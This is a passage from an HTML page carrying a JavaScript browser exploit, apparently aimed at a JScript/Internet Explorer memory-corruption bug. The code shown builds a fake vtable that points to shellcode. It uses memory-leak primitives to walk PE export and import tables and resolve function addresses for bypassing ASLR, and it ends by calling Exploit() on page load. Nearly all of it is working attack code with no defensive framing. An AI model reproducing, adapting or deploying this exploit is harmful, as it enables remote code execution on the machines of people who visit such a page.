    FakeVtable += ConvertDwordArrayToBytes([WritableAddress + 0x8]);
    FakeVtable += ConvertDwordArrayToBytes([0x40]);
    FakeVtable += ConvertDwordArrayToBytes([WritableAddress + 0xC]);
    //FakeVtable += ConvertDwordArrayToBytes([RopGadgetSet.Popad]);
    //FakeVtable += ConvertDwordArrayToBytes([RestoreEspGadget]);
    FakeVtable += ConvertDwordArrayToBytes([ShellcodeAddress]);
    //FakeVtable += ConvertDwordArrayToBytes([RopGadgetSet.StackPivot]);
    
    TotalObjLen += (FakeVtablePaddingSize / 2);
    
    while (FakeVtable.length < TotalObjLen) {
        FakeVtable += ConvertDwordArrayToBytes([0x11111111]);
    }
    
    return FakeVtable;
}

function NullSanitize(StrDword) {
    var Sanitized = 0;
    
    if(StrDword != 0) {
        if((StrDword & 0x000000FF) == 0) {
            Sanitized = 0; // Regardless of whether or not the rest of the DWORD has non-null bytes, it starts with one. So it is empty.
        }
        else if((StrDword & 0x0000FF00) == 0) {
            Sanitized = (StrDword & 0x000000FF);
        }
        else if((StrDword & 0x00FF0000) == 0) {
            Sanitized = (StrDword & 0x0000FFFF);
        }
        else if((StrDword & 0xFF000000) == 0) {
            Sanitized = (StrDword & 0x00FFFFFF);
        }
		else {
			Sanitized = StrDword; // No null bytes, preserve it all
		}
    }
    
    return Sanitized;
}

function ResolveExport(ModuleBase, TargetNameTable) {
    var FileHdr = LeakDword(ModuleBase + 0x3c);
    var ExportDataDir = ModuleBase + FileHdr + 0x78; // Import data directory
	
	if(ExportDataDir) {
		var EATRva = LeakDword(ExportDataDir);

		var TotalExports = LeakDword(ModuleBase + EATRva + 0x14);
		var AddressRvas = LeakDword(ModuleBase + EATRva + 0x1C);
		var NameRvas = LeakDword(ModuleBase + EATRva + 0x20);
		var OrdinalRvas = LeakDword(ModuleBase + EATRva + 0x24);
		
		// Binary search because linear search is too slow
		var MaxIndex = TotalExports; // Largest number in search space
		var MinIndex = 0; // Smallest number in search space
		var CurrentIndex = Math.floor(TotalExports/2);
		var TargetTableIndex = 0;
		var BinRes = 0;
		
		while(TotalExports) { 
			var CurrentNameRva = LeakDword(ModuleBase + NameRvas + 4*CurrentIndex); // 0x70785f5f, 0x69747063, 0x706f666e, 0x00737274

			while (TargetTableIndex < TargetNameTable.length) {
				CurrentNameDword = LeakDword(ModuleBase + (CurrentNameRva + (4 * TargetTableIndex)));
				var SanitizedCurrentNameDword = NullSanitize(CurrentNameDword);
				BinRes = compare_nums(TargetNameTable[TargetTableIndex], SanitizedCurrentNameDword);

				if(!BinRes) {
					//DebugLog("matched " + SanitizedCurrentNameDword.toString(16) + " to " + TargetNameTable[TargetTableIndex].toString(16) + " result " + BinRes.toString(8) + " table index is " + TargetTableIndex.toString(8) + " export index is " + CurrentIndex.toString(8));
				
					if((TargetTableIndex + 1) >= TargetNameTable.length) {
						Ordinal = LeakWord(ModuleBase + OrdinalRvas + 2*CurrentIndex);
						MainExport = (ModuleBase + LeakDword(ModuleBase + AddressRvas + 4*Ordinal));
						Ordinal = LeakWord(ModuleBase + OrdinalRvas + 2*(CurrentIndex + 1));
						NextExport = (ModuleBase + LeakDword(ModuleBase + AddressRvas + 4*Ordinal));
						return [ MainExport , NextExport];
					}
					else {
						//DebugLog("Chunks are equal but not at final index, current is: " + TargetTableIndex.toString(8));
					}
					
					TargetTableIndex++;
				}
				else {
					TargetTableIndex = 0;
					break;
				}
			}
			
			if(BinRes == 1) { // Target is greater than what it was compared to: reduce current index
				if(MaxIndex == CurrentIndex) {
					DebugLog("Failed to find export: index hit max");
					break;
				}
				MaxIndex = CurrentIndex;
				CurrentIndex = Math.floor((CurrentIndex + MinIndex) / 2);
			} else if (BinRes == -1) { // Target is less than what it was compared to: enhance current index
				if(MinIndex == CurrentIndex) {
					DebugLog("Failed to find export: index hit min");
					break;
				}
				MinIndex = CurrentIndex;
				CurrentIndex = Math.floor((CurrentIndex + MaxIndex) / 2);
			}
			if(CurrentIndex == MaxIndex && CurrentIndex == MinIndex) {
				DebugLog("Failed to find export: current, min and max indexes are all equal");
				break;
			}
		}
	}
	
	return [0,0];
}


// compare_nums: Compares two numbers that represent 4-byte strings for equality. If not, it detects which character is larger or smaller.
function compare_nums(target, current) { // return -1 for target being greater, 0 for equal, 1 for current being greater
    if(target == current) {
        return 0;
    }
    
    while(true) {
    //while(target != 0 && current != 0) { // This old logic glitches cases when comparing for example 0x00006633 and 0x00000033
        if((target & 0xff) > (current & 0xff)) {
            return -1;
        } else if((target & 0xff) < (current & 0xff)) {
            return 1;
        }
        target = target >> 8;
        current = current >> 8;
		
		//if(target == 0 && current == 0) break;
    }
}

function DwordToUnicode(Dword) {
    var Unicode = String.fromCharCode(Dword & 0xFFFF);
    Unicode += String.fromCharCode(Dword >> 16);
    return Unicode;
}

function TableToUnicode(Table) {
    var Unicode = "";
    
    for (i = 0; i < Table.length; i++) {
        Unicode += DwordToUnicode(Table[i]);
    }

    return Unicode;
}

function ConvertDwordArrayToBytes(DwordArray) {
    var ByteArray = [];
    
    for (i = 0; i < DwordArray.length; i++) {
        ByteArray.push(DwordArray[i] & 0xffff);
        ByteArray.push((DwordArray[i] & 0xffff0000) >> 16);
    }
    
    return String.fromCharCode.apply(null, ByteArray);
}

function ResolveImport(ModuleBase, HintIndex, TargetModuleNameLow, TargetModuleNameHigh, TargetFuncName1, TargetFuncName2, TargetFuncName3) {
    var ExtractedAddresss = 0;
    var FileHdr = LeakDword(ModuleBase + 0x3c);
    var ImportDataDir = ModuleBase + FileHdr + 0x80; // Import data directory
    var ImportRva = LeakDword(ImportDataDir);
    var ImportSize = LeakDword(ImportDataDir + 0x4); // Get the size field of the import data dir
    var CurrentNameDesc = ModuleBase + ImportRva;
    
    while(ImportSize != 0) {
        NameField = LeakDword(CurrentNameDesc + 0xc); // 0xc is the offset to the module name pointer
        
        if(NameField != 0) {
            CurrentModuleNameLow = LeakDword(ModuleBase + NameField);
            CurrentModuleNameHigh = LeakDword(ModuleBase + NameField + 4);
            
            if(CurrentModuleNameLow == TargetModuleNameLow && CurrentModuleNameHigh == TargetModuleNameHigh) {
                // Found the target module by name. Walk its INT to check each name.
                var INTThunkRva = (LeakDword(CurrentNameDesc + 0x0) + (HintIndex * 4));
                var IATThunkRva = (LeakDword(CurrentNameDesc + 0x10) + (HintIndex * 4));
                
                //DebugLog("Found target module in IAT by name. IAT RVA " + IATThunkRva.toString(16) + " INT RVA " + INTThunkRva.toString(16));
                
                if(INTThunkRva == 0) {
                    alert("INT is empty in target module");
                }
                
                while(true) {
                    var INTThunkValue = LeakDword(ModuleBase + INTThunkRva);
                    
                    if(INTThunkValue == 0) {
                        break;
                    }
                    
                    if((INTThunkValue & 0x80000000) == 0) { // Only parse non-orginal INT entries
                        //DebugLog("Calculating import name address from INT thunk value of " + INTThunkValue.toString(16));
                        var ImportNameAddress = (ModuleBase + INTThunkValue + 2); // The INT thunk is an RVA pointing at a IMAGE_IMPORT_BY_NAME struct. Skip the hint field in this struct to point directly to the ASCII import name.
                        //DebugLog("Calculated import name address of " + ImportNameAddress.toString(16));
                        // Always read the first 4 bytes of the name. If atleast one chunk has matched, and there have been no mismatches (unless the target chunk was given as 0) consider the import found.
                        var ImportName1 = LeakDword(ImportNameAddress);
                        
                        if(TargetFuncName1 == ImportName1) {
                            if(TargetFuncName2 != 0) {
                                var ImportName2 = LeakDword(ImportNameAddress + 4);
                                
                                if(ImportName2 == TargetFuncName2) {
                                    if(TargetFuncName3 != 0) {
                                        var ImportName3 = LeakDword(ImportNameAddress + 8);
                                
                                        if(ImportName3 == TargetFuncName3) {
                                            ExtractedAddresss = LeakDword(ModuleBase + IATThunkRva);
											break;
                                        }
                                    }
                                    else {
                                        ExtractedAddresss = LeakDword(ModuleBase + IATThunkRva);
                                        break;
                                    }
                                }
                            }
                            else {
                                ExtractedAddresss = LeakDword(ModuleBase + IATThunkRva);
                                break;
                            }
                        }
                    }
                    
                    IATThunkRva += 4;
                    INTThunkRva += 4;
                }
            }
            
            if(ExtractedAddresss != 0) {
                break;
            }
            
            ImportSize -= 0x14;
            CurrentNameDesc += 0x14; // Next import descriptor in array
        }
        else {
            break;
        }
    }
    
    return ExtractedAddresss;
}

function ExtractBaseFromImports(ModuleBase, TargetModuleNameLow, TargetModuleNameHigh) { // Grab the first IAT entry of a function within the specified module (determined via the first 8 bytes of its name string)
    var ExtractedAddresss = 0;
    var FileHdr = LeakDword(ModuleBase + 0x3c);
    var ImportDataDir = ModuleBase + FileHdr + 0x80; // Import data directory
    var ImportRva = LeakDword(ImportDataDir);
    var ImportSize = LeakDword(ImportDataDir + 0x4); // Get the size field of the import data dir
    var CurrentNameDesc = ModuleBase + ImportRva;
    
    while(ImportSize != 0) {
        NameField = LeakDword(CurrentNameDesc + 0xc); // 0xc is the offset to the module name pointer
        
        if(NameField != 0) {
            CurrentModuleNameLow = LeakDword(ModuleBase + NameField);
            CurrentModuleNameHigh = LeakDword(ModuleBase + NameField + 4);
            
            if(CurrentModuleNameLow == TargetModuleNameLow && CurrentModuleNameHigh == TargetModuleNameHigh) {
                ThunkAddress = LeakDword(CurrentNameDesc + 0x10);
                ExtractedAddresss = LeakDword(ModuleBase + ThunkAddress + 8); // +8 since __imp___C_specific_handler can cause issues when imported in some jscript instances
                break;
            }
            
            ImportSize -= 0x14;
            CurrentNameDesc += 0x14; // Next import descriptor in array
        }
        else {
            break;
        }
    }
    
    return ExtractedAddresss;
}

Exploit();

</script>
</head>
</html>